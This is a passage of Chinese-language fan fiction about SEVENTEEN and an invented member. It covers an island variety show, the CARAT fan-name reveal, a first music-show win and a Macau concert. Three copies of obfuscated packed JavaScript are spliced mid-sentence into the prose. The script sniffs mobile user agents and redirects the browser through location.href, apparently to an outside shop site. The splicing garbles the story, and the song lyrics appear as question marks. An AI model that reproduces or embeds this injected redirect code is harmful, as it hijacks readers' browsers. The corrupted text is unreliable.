“那就好那就好,明浩没事就好。”经纪人这才松了口气。 “……哥,能麻烦你去帮明浩买些清淡的食物吗?回去后我就把钱还你。” “哎一古!说什么呢,我这就去买。你好好陪着明浩就行!”经纪人拍拍他的肩,转身快步离开了医院。 姜里树目送经纪人离开后,才转身走进徐明浩的病房。那个平时腼腆爱笑的孩子此刻正过分安静地昏睡着,躺在病床上,手背上连着点滴。那头曾被他大胆染成的蓝粉色渐变发丝,此刻有些蔫蔫地铺散在雪白的枕头上。 跑得太急,手机也没带在身上。姜里树摸遍口袋都没找到…好像,出门前随手塞在枕头下了。 家里的孩子们联系不上姜里树,转而打给了经纪人。得知徐明浩已无大碍,大家才松了口气。 崔胜澈摸了摸放着那张便签的口袋,没多说什么,只是打起精神,继续照看好留在家里的弟弟们。 在凑合了一顿之后,接下来就是碗筷的问题。崔胜澈带着孩子们决定用踢毽子的方式,来决定谁负责洗碗。 医院这边,经纪人买好饭回来时,徐明浩已经醒了,正没什么精神地小口喝着粥。 “哥,对不起……” “道什么歉啊,小脑瓜子烧糊涂了是不是?”姜里树一边给他夹些清淡的小菜,一边轻声说,“这是你能控制的吗?反而该哥跟你说声对不起……没照顾好我们明浩,连你不舒服都没看出来,让你难受了那么久,真是对不起啊,明浩。” “里树哥你说啥呢!”徐明浩听着,那口熟悉的东北大碴子音又冒了出来,“你都说了这控制不了,那咋可能是你能管得了的啊!” 姜里树听着他终于精神起来的大东北口音的韩语,忍不住笑了出来。 徐明浩看着姜里树笑起来,自己也忍不住跟着笑了。 冰冷的病房,因为两人的笑容,渐渐透出温馨的暖意。 点滴终于吊完,姜里树扶着徐明浩,跟着经纪人离开医院。两人还以为是要回丽瑞岛,车却在陌生的小屋前停了下来。 “去和鲍鱼队的孩子们汇合吧。”经纪人告诉他们,刚刚收到节目组的消息,安排他俩去与尹净汉他们会合,让他们好好休息一天。 当姜里树和徐明浩推开尹净汉他们暂住的民宿房门时,屋里的成员们全都惊喜地叫了起来。 “你们怎么突然来啦?只有你们俩吗?”尹净汉和孩子们看看姜里树,又关心地摸了摸徐明浩。 “刚打完针就过来了,里树哥一直陪着我。”徐明浩哑着嗓子解释了他们突然出现的原因。 “哎一古,我们明浩啊,现在好点了吗?”成员们都心疼地围着他,听他哑哑的声音,扶着他到屋子中间坐下。 “好多了。”徐明浩坐在大家中间,轻声应道。 姜里树与看过来的尹净汉对视一眼,轻轻点了点头。 在鲍鱼队的陪伴下,姜里树和徐明浩在住处附近的沙滩上度过了悠闲美好的一天。晚点时候,等船来了,他们就要启程,与丽瑞岛的孩子们汇合了。 下船时,他们还带着大包小包劳动换来的物资,开开心心地往家走,却不知家里还有孩子们为他们准备的“惊喜”正等着他们。 “我们回来啦!”夫胜宽走在最前面,院子里的孩子们听到声音,欢呼着迎了出来。发现姜里树和徐明浩也跟着鲍鱼队一起回来时,大家更开心了。 屋里的崔胜澈、金珉奎和李硕珉听到热闹的动静,也快步冲了出来。 崔胜澈看着归来的孩子们,还有站在其中的姜里树和徐明浩,一直悬着的心终于放下,笑着迎了上去。 “明浩啊,好些了吗?”他先询问了徐明浩的情况。 “嗯,好很多了!”只是嗓音还有些沙哑,但比起早晨的状态已好了太多。 “那就好。”崔胜澈点点头,又看向姜里树,忍着没有当着所有人的面立刻冲上去抱住他。 说不担心是假的。就连下午孩子们去踢足球比赛,也没能调动起他的心情,他只是一个人待在屋里,等所有人回来,等成员们聚齐,等姜里树回来,因为知道姜里树一定不会让他一个人在家里的。 “我们回来了。”姜里树看出崔胜澈的情绪,伸手轻轻抚了抚他的后颈,帮他放松紧绷的身体。 “嗯。” 崔胜澈点点头。他戴了两层帽子,鸭舌帽檐压得很低,遮住了此刻的表情。 姜里树和崔胜澈站在最后,看着孩子们为鲍鱼队带回来的丰富物资而欢呼,听着他们为下午足球队提出的“临走前想为八十名工作人员做顿饭”的提议而发出感慨的声音。 只是这“提议”怎么还有零有整的? 姜里树扭头想问崔胜澈,都还没开口,对方已经明白他的意思,肯定地点了点头。 “……”能不能戒赌啊!能!不!能! 前面站着的成员们也陆续察觉不对,纷纷开始质疑起来。崔胜澈还是装作不知情地帮着圆场。 他自己一个一个带回来的孩子是什么样的,他哪会不清楚。下午刚踢完足球赛,回来就说想要给节目组工作人员做饭,怎么想都不对劲。但看着孩子们心虚里又带点失落难过的表情,多半是比赛输了害怕他训他们才这么说的。崔胜澈干脆顺了他们的意,装作不知道。 他们用“补偿奖励”——几瓶碳酸饮料,把这事儿糊弄了过去。姜里树脑子里已经盘算好了好几个菜单。八十个工作人员,十四名成员,加起来近百号人的饭……感觉做完这顿,这辈子都不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205980|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再进厨房了。。。 厨房里外都正忙得不可开交,偏偏这时候四个孩子被叫走做“围墙谈话”。四个人其中一个还是重要的帮厨,还有一个病号,活跃气氛的夫硕顺全被叫走了。 哪有惨叫声的谈话的? 姜里树实在放心不下,把手里的活儿暂时交给文俊辉。 “俊辉啊,你来翻一下锅,我去看看孩子们,那惨叫声隔着八百米都能听见。” “我也听见了。”文俊辉接过铲子,确实很难不听见,就在他们背后的后山上,他们家“尖叫翼龙”配上“尖啸小仓鼠”的动静,屋外大半人都听见了,“你去吧,菜我来炒。” 姜里树带着随行摄像师快步跑了出去,去找被叫走的孩子们。 在废弃学校的围墙外,他遇见了正在等待的徐明浩和夫胜宽。李硕珉和权顺荣还没出来,夫胜宽还没进去就已经怕得不行了。 “明浩?胜宽?” “哦!hiong!”胆子最大的主心骨来了,两人明显松了口气。 “呜——”夫胜宽真的快哭出来了,这地方对他来说真的实在太不友好了。 “硕珉和顺荣还没出来吗?”姜里树轻轻拍了拍两个弟弟的脑袋。 “还没有……”徐明浩虽然也被废校内的尖叫声弄的有点怕,但比起胜宽还算镇定。 “那胜宽你在这里等我们吧?我和明浩进去看看?”姜里树看着徐明浩那副害怕又跃跃欲试的表情,转头对夫胜宽说。 “没问题!我一定在这里乖乖等你们出来!”一听自己不用进去,夫胜宽简直如释重负,连连点头,还直接在楼梯上找了个位置坐好,摆出一副“绝对不乱跑”的架势。 姜里树和徐明浩对视一眼,轻轻笑了笑,随后便一起走进了围墙里。 他们前脚刚走进废校,后脚李硕珉和权顺荣就尖叫着从学校里冲了出来,正好完美错过。 里面视线昏暗,但还不至于完全看不清。 “明浩啊,别看我的眼睛。”姜里树怕自己的眼睛在黑暗里会吓到徐明浩,提前轻声提醒。 “那咋了,我觉得哥的眼睛很好看啊。”徐明浩一听这话有点不乐意。那么漂亮的绿眸,在阳光下明明生机盎然的样子。他却完全忘了现在没有阳光,姜里树的眼睛若被光照到,不亚于在废校里突然撞见狼的眼睛。 “哎一古~”姜里树真是被弟弟可爱得说不出话,只好笑着牵起徐明浩往废校深处走去。 “砰——”一声,废弃教室门口扔出来一顶假发,门口还站着一个staff。 徐明浩被吓得一激灵,但他本身胆子就不小,更何况姜里树就在身边。他牵着哥哥热乎乎的手,反而更大胆地东张西望起来。 “哥,那个是不是?” 徐明浩指着教室书架上的东西问道。 “好像是,一起搬出来吧。” 姜里树让徐明浩把一些拉面放进箱子里,腾出手好牵着他。姜里树便用一只手臂夹着泡沫箱,另一只手牵着徐明浩往外走。突然冲过来一个摄像师,挡住了去路。两人都没看懂这突然的举动,只是礼貌地鞠了个躬,打过招呼便绕开摄像师,继续往外走。 “哇!——你们出来啦!”刚和夫胜宽会合,他就立刻告诉其他人:姜里树来找他们了。知道哥哥在这里,孩子们都安心了不少。 “嗯,我和明浩拿到物资了,可以回去了。” “好耶!~”姜里树带着四个开开心心的孩子,平安无事地回到了民宿小院。 “Coups哥!我们回来了——”权顺荣仰头高喊。所有人的目光顿时投向声音传来的方向,是刚才被叫去“围墙夜谈”的孩子们,还有去找他们的姜里树。 物资增加,晚餐可以做得更丰盛了。姜里树放下东西就回到灶台前继续忙活。所有人都在帮忙,尽管有些忙乱,但准备晚餐的工作仍在如火如荼地进行着。 今晚是最丰盛的一餐,也是热闹非凡的一夜。所有节目组工作人员和SEVENTEEN的孩子们,一起聚集在这个不大不小的院子里,共同分享着美食与笑声。 41. 41.再见丽瑞岛 分享美食,也分享着这一路走来的笑声与汗水。院子里的灯光暖暖地照着每一张脸,盘中的菜肴热气腾腾,话语间流淌着无需多言的默契。这一刻,食物不只是饱腹的温暖,更是彼此陪伴的见证。在陌生的海岛上,他们用一顿亲手做的饭,把“我们在一起”这件事,烹饪进了每一道菜里。 夜晚海岛的风轻轻吹过民宿小院,带走灶台边最后一丝余温。节目组的工作人员陆续散去,院子里渐渐安静下来,只剩SEVENTEEN的成员们还围坐在一起。 远处的海浪声隐约传来,像温柔的呼吸。有人已经靠着同伴的肩膀昏昏欲睡,有人还小声说着话,偶尔响起轻轻的笑声。这一天发生的所有慌乱、惊喜、担忧与忙碌,此刻都沉进这静谧的夜色里,变成记忆深处一道暖融融的光。 明天或许在离开前还有新的任务,新的挑战,但至少今夜,他们拥有这片星空、彼此,和一个终于能够安心休憩的角落。 在聚餐结束后的夜晚,伴随院子里还飘着淡淡的食物香气,孩子们也陆续回到房间,开始为明天的离开收拾行李。 灯光下,姜里树将叠好的衣服一件件放回行李箱。那件“巨能装”的马甲被仔细抚平收在最上层,口袋里似乎还留着白日里的体温。崔胜澈蹲在旁边,把姜里树带的散落的药品和备用品归类收好,动作轻缓利落。 房间里只有布料摩擦的细响和拉链开合的轻音和孩子们轻缓的歌声。 “孩子们啊,出来集合一下。”趁着大家还没睡,出去一趟回来的崔胜澈在院子里招呼所有人去个地方。 “内~” 每个人都应声回应着走出来,清点完人数后,由三位小队长带队出发。大家都带着好奇,直到走出院门,在转角的围墙上,看见了小队长们准备的“礼物”。 那是一面用铁网承载起回忆的照片墙。练习生时期的青涩模样,还有这五天里在海岛努力生活的每个瞬间,都被暖黄色的灯串温柔地环绕着。 “哇偶~” 有人轻轻惊叹,有人已经凑近去看。海风吹过,照片微微晃动,光影在夜色里温柔摇曳。 姜里树从离自己最近的照片开始,一张张看过去,回忆着每一刻的场景。 “孩子们,最边上还有三封信没有打开啊。” 还是在权顺荣的提示下,大家才注意到照片墙的末尾还挂了三封信。 信被依次取下、展开。从权顺荣,到李知勋,再到崔胜澈,每一封都写满了小队长们对全体成员最深切的感情与爱意。听着那些真诚的话语,孩子们一时都感动得不知道说什么。 此刻,海风轻轻拂过照片墙,暖黄的光晕在每个人眼中摇曳。没有人说话,但呼吸声里能听见隐约的哽咽,也有人悄悄抬手抹了抹眼角。 姜里树站在照片墙边,指尖无意识地摩挲着照片边缘。那些被镜头定格的瞬间,码头上兴奋的挥手、灶台前专注的侧脸、深夜里靠在一起打瞌睡的身影。此刻都活了过来,在昏黄的灯光下轻声诉说。 权顺荣读完自己的信,有些不好意思地揉了揉鼻子;李知勋垂下眼,嘴角却微微扬起;崔胜澈的目光缓缓扫过每一张脸,像在确认所有人都在这里,都好好的。 远处传来潮水拍岸的细响,近处是灯串偶尔发出的轻微电流声。这五天里所有的汗水、笑声、慌乱与温暖,此刻都沉淀成这片夜色中无声的共鸣中。 崔胜澈招呼孩子们聚到身边来先张开怀抱,轻轻碰了碰身边人的肩膀。接着,拥抱像涟漪般传递开来,迸发的感情足够热烈,足够紧密,足够将这一刻的温度牢牢嵌进记忆里。 明天就要离开这座岛,但有些东西,已经不需要行李来承载了。 这些在海岛攒下的日子,码头的风、船上的颠簸、灶台边的忙碌、夜谈时的笑声…此刻都随着一件件物品被收进最后的行李里,变成一份可以带走的温暖。 最后一个背包拉链合上时,夜已深了。有人打了个小小的哈欠,有人揉了揉眼睛。不知谁轻声说了句“晚安”,屋内的几盏灯便依次熄灭。 月光从窗外漫进来,落在并排的行李箱上,安静地照着这个在海岛的最后一夜。 第二天清晨,尽管对生活了五天的SEVENTEEN民宿小屋满是不舍,但大家还是拖着行李箱,说说笑笑地走向码头。 不出意外,刚到码头所有人就被制作人nim拦了下来,就知道节目组不会让他们轻松离开。大家看着制作人nim将两件不同颜色的马甲“啪”地丢在了众人面前。 姜里树站在队伍最后,还没搞清状况,手里就被崔胜澈塞进一件和他同色的马甲。同样是同一个颜色马甲的尹净汉看他还在发愣,直接拿过来套在他身上。 展开衣服的孩子们这才反应过来,这不是足球服,是撕名牌!所有人立刻扭头寻找“撕名牌魔王”姜里树的身影,看到他身上马甲的颜色后,码头上瞬间爆发出欢呼与哀嚎交织的声浪。 欢呼组·黄队:崔胜澈、尹净汉、洪知秀、姜里树、李知勋、李硕珉、徐明浩。一眼望去,95line好似的全员约定好的一样,脑力、力量、速度兼备。 哀嚎组·橘队:文俊辉、权顺荣、全圆佑、金珉奎、夫胜宽、崔瀚率、李灿。这组……也是快乐元素爆表啊。 每队七人,规则简单:先摘光对方背上全部名牌的队伍获胜。 比赛开始,黄队立刻拉开双方距离。大家起初还在试探。但是双方成员对于自己的定位都不太了解的样子,结果本该担任“脑力”的尹净汉一头扎进橘队,单刀赴会竟还能全身而退。姜里树看着橘队一连被淘汰五人,干脆没上前掺和,悄悄混在摄像师队伍里挂机。 就看金珉奎突然爆发,以1V4如猛虎下山般接连淘汰黄队四人。一番激战后,棋差一招被崔胜澈和尹净汉联手淘汰。 此时,橘队只剩权顺荣一根“独苗苗”,黄队则还有崔胜澈、尹净汉,以及那位始终在摄像师背后混水摸鱼躺赢的姜里树。 忽然,姜里树身边附近的车门传来轻响。他这时仍站在魁梧的摄像师大哥背后,看着“小仓鼠”正从面前溜过,试图偷袭已没什么力气,正坐在地上找橘队最后一个人的崔胜澈和尹净汉。 就在这时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205981|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜里树再次从摄像师身后伸出了手—— “嘶啦——” 制作人nim吹响哨音。 游戏结束。 “吼?!里树hiong?!!!”权顺荣不可置信地扭头,看着他哥居然把在《Running Man》里的招数用在了自己最爱的弟弟身上。 “哎嘿~”姜里树心虚地笑了笑,这谁能忍住到眼皮子底下的名牌不撕啊。 “干得好啊!里树!”崔胜澈带着黄队全员欢呼起来。 橘队那边则响起一片懊恼的叫声,嚷嚷着“哥你怎么能这样!”“里树哥,我们不是你最爱的弟弟了吗”。 谁也没曾想到,赢了的队伍才能“顺利逃出丽瑞岛”,输的队伍“出逃失败”。黄队登船的时候,连节目组都跟着上船离开了,只留下橘队的七个孩子和随行摄像师,与渐行渐远的黄队隔海相望。 ‘米亚内啊孩子们,哥会做好吃的在家等你们的。’姜里树忍着笑,转身进了船舱。 再见了,丽瑞岛。 当夜的SEVENTEEN宿舍一楼,客厅静悄悄的。 姜里树独自站在一楼客厅的落地窗前。身上那件黑色的高领毛衣被暖黄的壁灯染上一层柔光,他握着手机,目光静静投向窗外,庭院里的雪正簌簌落下,覆盖了白天孩子们打闹时留下的脚印。 今年首尔的初雪来得格外的早。 “老姐,现在可以告诉我,这次综艺到底在卖什么关子了吧?”他声音很轻,怕吵醒楼上熟睡的弟弟们。 电话那头传来一声轻笑,是姐姐一贯温柔又干脆的语调:“这么着急知道啊,都没先休息一下?”她顿了顿,语气认真起来,“这次主要目的不是什么‘极限挑战’,就是想拍你们最真实平常的样子,一起做饭、找路、拌嘴、照顾彼此。公司会配好翻译团队,剪一集发一集,各个官网同步播出。” 窗外雪越下越密,姜里树的视线落在花园角落那盏孤零零的路灯上,光晕里雪花飞舞。 “不要剧本,也没有刻意表现。”姐姐的声音透过听筒,清晰而沉稳,“你们平时怎么闹,镜头前就怎么闹。累了就睡,饿了就找吃的,想笑就笑。现在大家想看的,就是这种‘活着’的真实感。” 姜里树“嗯”了一声,指尖无意识地划过冰凉的玻璃,留下一道短暂的水痕。 “还有,”姐姐的语气软了些,“让孩子们好好练舞。2月14日那场演唱会……粉丝们的名字该正式定下来了。” 想到这,姜里树嘴角不自觉地弯了弯:“知道了。” “早点休息吧…” 通话结束。姜里树仍站在窗前,看着雪渐渐覆盖整个世界。屋里暖气很足,玻璃上蒙了一层薄薄的水雾。他抬手,在上面画了一个小小的钻石轮廓。 楼上传来窸窣的脚步声,随后是崔胜澈迷迷糊糊的嘀咕:“里树啊……怎么还不睡……” “这就去睡觉了。”姜里树轻声应道,最后望了一眼窗外的雪夜,转身朝楼梯走去。 壁灯在他身后投下长长的影子,温柔地融进这片寂静的暖光里。 42. 42. ‘?CARAT?’ 2月14日· SEVENTEEN韩国演唱会现场 灯光骤暗,全场寂静。 十四道身影立在舞台中央,呼吸微微起伏。 “今天,有一件很重要的事,想要亲口告诉你们。”崔胜澈向前一步,握住麦克风的手有些颤,声音却透过音响清晰落下。 舞台大屏忽然亮起——“CARAT” 钻石的重量单位。 也是他们前不久决定并偷偷呼唤了很多次的名字。 “从今以后,”尹净汉接过话筒,眼睛在追光下亮得惊人,“你们就是我们的——” “CARAT!!!” 十四道声音合在一起,穿透场馆的穹顶。 台下寂静了一瞬。 随即,欢呼与哭声如海啸般涌起。 “SEVENTEEN&克拉”这两个词组合在一起,从无数人口中喊出,汇成一片震耳欲聋的星河。 姜里树站在成员中间,望着台下那片闪烁的克拉棒海洋,忽然想起丽瑞岛那夜,崔胜澈在照片墙前念信时微哑的嗓音,想起姐姐在电话里说“该正式交到她们手里了”。 原来一切都有迹可循。 那些海风里的汗水,深夜的谈话,灶台边的笑声,雪夜窗前的通话,都是为了把这份重量,郑重地、完整地,交到值得的人手中。 音乐前奏响起,他深吸一口气,举起麦克风。 ????? ?? ? (等一下少女啊你绝对) ????????? (不要被别人所迷惑) ?? ????? (我会嫉妒的) ????? ???? (等一下少女啊从现在起) ??????? ?? (我要宣布你属于我) ???????????? (小心翼翼 谨慎敏感从现在起) ?? ?? My Lady (请看着我我的女孩儿) …… 而台下,万点银光摇曳如钻。 每一颗,都是彼此认取的凭证。 2月14日,演唱会同一时间22:00 ,Pledis官网公告栏发布官方通告。 SEVENTEEN 官方粉丝名正式确定。 即日起,SEVENTEEN的官方粉丝名称为 「CARAT」(克拉)。 名称取自钻石的质量单位,寓意SEVENTEEN如钻石般纯净耀眼、光芒恒久。 正如钻石的价值随克拉数增加而提升,SEVENTEEN的价值亦因每一位CARAT的陪伴与支持而日益璀璨。 当晚演唱会结束后,SEVENTEEN全体成员舞台后场开启直播感谢所有始终闪耀陪伴在SEVENTEEN身边的CARAT,今后的路,他们会继续一起走下去。 同年5月4日 ,音乐放送现场。 《Pretty U》轻快的前奏响起,十四个少年在舞台上踏出整齐而充满活力的舞步。歌词里藏着青涩的告白,旋律中跃动着初春的心动。 一位候补发表时刻,镜头扫过他们紧握的双手、抿住的嘴唇。 而后—— “本周一位是……SEVENTEEN,《Pretty U》!” 彩带轰然倾落。 崔胜澈接过奖杯,激动兴奋到声音都在颤抖:“谢谢CARAT……真的,谢谢你们!!!” 感动落泪的崔胜澈被成员们一起抱进怀里。 那是第一个一位。 紧接着,第二个,第三个,第四个… 自那一天起,“一位候补”的魔咒悄然碎裂。 钻石开始真正折射光芒,而握住他们的,是无数双名为“CARAT”的手。 花路或许仍有荆棘,但少年已握紧了自己的重量。 每一步,都踏得更稳、更亮。 5月5日,官方恭喜SEVENTEEN成员RISU生日快乐并发文:[我已经收到了最好的礼物了?CARAT——SEVENTEEN&RISU] 5月26日,是SEVENTEEN出道一周年纪念日。 清晨的阳光透过练习室的窗户,在地板上拉出长长的光痕。音响里循环播放着《Pretty U》的伴奏,汗水早已浸湿了地板。 金珉奎瘫在墙角,仰头灌了半瓶水:“真的……已经一年了吗?” “不然呢,”李知勋头也不抬地调整着编曲软件,“去年今天,我们还在待机室里发抖。” “胜澈哥哭得麦克风都拿不稳。”全圆佑大着胆子吐槽就坐在他身边崔胜澈。 “呀!那明明是感动的眼泪!”崔胜澈抓起毛巾扔过去,自己却先笑了。 一年。 三百六十五天,从无人知晓的练习室到获得一位安可的舞台,从“SEVENTEEN TV”到真真切切的十四人团体。那些在丽瑞岛海边分享的泡菜、在深夜宿舍写下的歌词、在镜头前毫无保留的哭笑,都长成了骨骼与血肉,撑起了“SEVENTEEN”这个名字。 夫胜宽翻着手机里存下的照片:初一位时大家抱成一团的狼狈,演唱会上克拉应援棒汇成的银河,还有昨晚00:00一过,官咖里粉丝拼贴的周年祝福长图。“CARAT们说,要陪我们走到钻石一百克拉的那天。” 权顺荣跳起来,眼睛亮晶晶的:“那我们得跳到一百岁才行!” 姜里树靠在舞蹈镜墙边,看着弟弟们闹成一团。尹净汉悄悄挪过来,肩膀碰了碰他的:“想什么?” “想……幸好来到了这里。” 幸好来到这里遇见你们,幸好那些“真实”的碎片,被镜头记住,也被彼此记住。 洪知秀举起手机:“来,周年纪念照——” 十四个人迅速凑拢,在练习室斑驳的镜前凑成一堆。没有精致的造型,没有舞台灯光,只有汗湿的额发、泛红的眼眶,和紧紧搭在彼此肩上的手。 “1、2、3——” “SEVENTEEN,一周年快乐!” “我们一岁啦!!!” 窗外,首尔五月的风吹过枝梢。 而属于他们的故事,才刚刚写完第一个章节。 六月,SEVENTEEN在重国澳门。由公司重国股东‘聚星’娱乐牵头,申请下来两天两场5000-7000人的中型演唱会。 机场抵达口挤满了人。 “SEVENTEEN!!!” “欢迎来到重国啊!!!” 熟悉的中文呼喊中,夹杂着些许越来越清晰的标准韩语。姜里树走在队伍靠后的位置,听见身旁有女孩带着哭腔喊:“俊辉!明浩!里树!欢迎回家——!” 他脚步顿了一下,抬起头,朝声音的方向轻轻挥了挥手。 演唱会开场前的后台,走廊里弥漫着紧绷的寂静,隐约能听见场外观众入场的喧嚣。休息室里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205982|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,十四个人分散在各处做着最后的准备,有人对着镜子反复确认妆容,有人戴着耳机闭眼默念动线,有人在墙角拉伸肢体。 姜里树蹲在文俊辉面前,仔细帮他固定裤脚的束带。文俊辉轻声说:“哥,我有点紧张。” “我也紧张。”姜里树抬头笑了笑,手上动作没停,“但台下有很多人,是为你来的,是为我们而来的。” 旁边,徐明浩正帮崔胜澈调整耳麦线。崔胜澈用中文碎碎念着今晚要说的句子,徐明浩时不时纠正他的声调:“是‘兴’奋,不是‘新’奋啦哥。” “兴、奋……”崔胜澈认真地重复,额角渗出细汗。 崔瀚率和李知勋并肩坐在沙发上,膝盖上摊着歌词本,指尖无声地敲着节奏。权顺荣在镜子前反复练习一个转身的动作,金珉奎凑过去拍了拍他的肩:“已经很完美了,顺荣哥啊。” 夫胜宽深吸一口气,又缓缓吐出。洪知秀走过来,轻轻揽住他的肩膀:“今天台下会有很多说中文的克拉吧。” “嗯。”夫胜宽点头,眼睛亮起来,“俊辉哥、明浩哥和里树哥的家乡人。” 尹净汉检查完所有人的耳返电量,抬头看向崔胜澈。崔胜澈察觉到视线,也望过来。两人对视几秒,同时点了点头。 “差不多了。”崔胜澈站起身,声音在安静的休息室里格外清晰。 所有人停下动作,目光聚焦在他身上。 “一年前,我们在很小的舞台上出道。”他顿了顿,目光扫过每一张脸,“今天,我们站在这里,在俊辉、明浩、里树的家乡,在这么多等着我们的人面前。” 他伸出拳头:“不要留遗憾。把我们一起流的汗水……全部带到舞台上。” “SEVENTEEN!” “怀挺!!!” 十四只拳头紧握在一起。 门外传来工作人员的敲门声:“SEVENTEEN,准备上场了。” 尹净汉第一个笑起来,眼睛弯成月牙:“走吧,孩子们。” 姜里树拉开门,走廊尽头隐约传来开场VCR的音乐。 前进的脚步声在走廊里回响。 前方是光,是声浪,是成千上万颗为他们亮起的钻石。 身后是彼此紧挨的肩膀,是数个日夜积攒的体温。 舞台上,灯光亮起,音乐炸开。 台下是连绵的克拉棒海洋,中间混着不少手写的中文和韩文灯牌:“欢迎回家!!!”“SEVENTEEN世首帅!”“妈妈爱你们!” 安可环节,崔胜澈被成员们推到话筒前。他深吸一口气,握紧麦克风: “谢、谢……大家!” 塑料中文混着大邱广域市的口音,一个字一个字往外蹦,“我们……很想念……重国。以后……会常来!” 台下爆发出又哭又笑的尖叫。 姜里树站在他身后,看着观众席里那些闪着泪光的眼睛,忽然觉得喉咙有些堵。 文俊辉接过话筒,用清脆的中文和粤语流畅地说:“真的特别高兴能回家开演唱会,谢谢你们等我们。” “我好钟意你们啊!”姜里树说出了一句台下大家都能听懂粤语,又是一阵尖叫声。 徐明浩也跟着开口,东北话脱口而出:“咱这算不算衣锦还乡啊?” 全场大笑。 那一晚,澳门的夜空没有星星。 但舞台上下,每个人眼里都映着光。 属于SEVENTEEN的次时代才刚刚开启。 43. 43.妈妈 演唱会结束,姜里树带着孩子们前往预订好的饭店,他父母已经在那里等着他们了,姐姐暂时不在澳门。 “妈妈~我们来啦~”刚下车,崔胜澈一眼就看见了等在门口的里树妈妈,立刻小跑过去贴到她身边,亲昵地挽住她的胳膊。身后的成员们对此早已见怪不怪。 里树妈妈笑着拍了拍他的手,目光却越过他,温柔地扫向后面一群前前后后的身影:“孩子们都饿了吧?快进来,晚餐都为你们准备好了。” 进餐厅的时候,她伸手轻轻摸了摸尹净汉浅金色的发梢:“净汉呐,头发颜色真好看。”又心疼的朝年龄最小的那几个孩子说,“明浩啊,你们怎么好像又瘦了,一会儿要得多吃点才行啊。” 姜里树跟在最后,里树妈妈终于看向他,眼神软了软:“我们里树也辛苦啦。” 自姜里树与家人恢复联系后,最常和里树妈妈通话的反而不是姜里树本人,而是同为95line的崔胜澈、尹净汉和洪知秀,偶尔还有其他孩子们。是因为姜里树越发不爱随身带手机,用完就随手一放,这“保管联络”的任务便自然落到了孩子们身上,反正只要问崔胜澈、尹净汉、洪知秀三个人要手机,总能有一个能给他的。里树妈妈韩语流利,和孩子们聊天毫无障碍。崔胜澈最喜欢里树妈妈,但最喜欢崔胜澈的却是一面之缘的里树爸爸。 成员们好奇许久的里树爸爸,这次终于正式见面了。 推开餐厅包间门时,那位戴着金丝眼镜、穿着休闲衬衫的男士正坐在主位上。看到孩子们进来,他笑着招手,气质温和又干练。 孩子们先看看他,又齐刷刷扭头看向姜里树。他们染着黑发的哥与那位男士确实有五六分相似,但轮廓更柔和些,五官眉眼也更像妈妈。 “阿爸!”崔胜澈已经欢快地喊出声,快步走到里树爸爸身边。认识的原因还是唯一一次里树爸爸打的视频电话让崔胜澈接到了,两个人就那么聊着认识了起来。 里树爸爸站起来,拍了拍崔胜澈的肩,又看向里树妈妈身边的尹净汉和其他孩子们,对他们点点头。 姜里树跟在孩子们的队伍最后,轻声叫了句“爸爸”。 里树爸爸的目光落在他身上,停留了两秒,才点点头:“快和孩子们落座吧。” “姜爸爸好——”孩子们依次鞠躬问候,目前只有崔胜澈是见过姜爸爸的,其他孩子面对他还是略显拘谨。 里树爸爸笑着示意大家入座:“都坐吧,别拘束。听南与说,你们今天演唱会很成功。” “内,今天是最后一场在重国的演唱会,已经成功结束了。”崔胜澈被姜爸爸拉着坐在他旁边回答,孩子们也才一个挨着一个坐下。 尹净汉和洪知秀挨着里树妈妈坐下,文俊辉和徐明浩挨着姜里树坐在一起,面对重国长辈的时候总觉得有种奇怪的紧张感。 圆桌坐满,碗筷轻响,话题从舞台聊到饭菜,又从饭菜聊到近况。里树爸爸话不多,却总能适时接上一句,气氛始终松弛温暖。 姜里树低头给身边的孩子们剥着虾,偶尔抬眼看看父亲,再看看身边闹腾的弟弟们。 灯光暖黄,空气里有食物的香气,还有十四种不同频率的笑声。 这一刻,两个于他而言最重要的世界,安静地重叠在了一起。 “哥,姜爸爸韩语说得真好哎,姜妈妈也特别流利。我记得咱们出道那会儿,姜妈妈还不太会说韩语来着?”文俊辉用中文小声问正在剥虾的姜里树。 “妈妈以前出国旅游都带着我和姐姐,翻译的话基本是我来。现在我不常在身边,”姜里树把剥好的虾分到文俊辉和徐明浩盘子里,“估计是爸爸教她的。而且平时你们不是总和她视频聊天嘛,对练多了,她闲着没事学起来自然就快了。” “哇——那哥你会好多种语言啊?”徐明浩嚼着虾仁,也凑过来加入小声对话。 “最基础的就中、俄、英、韩吧。其他的只会点皮毛词汇。” “厉害!”文俊辉朝姜里树竖起拇指。 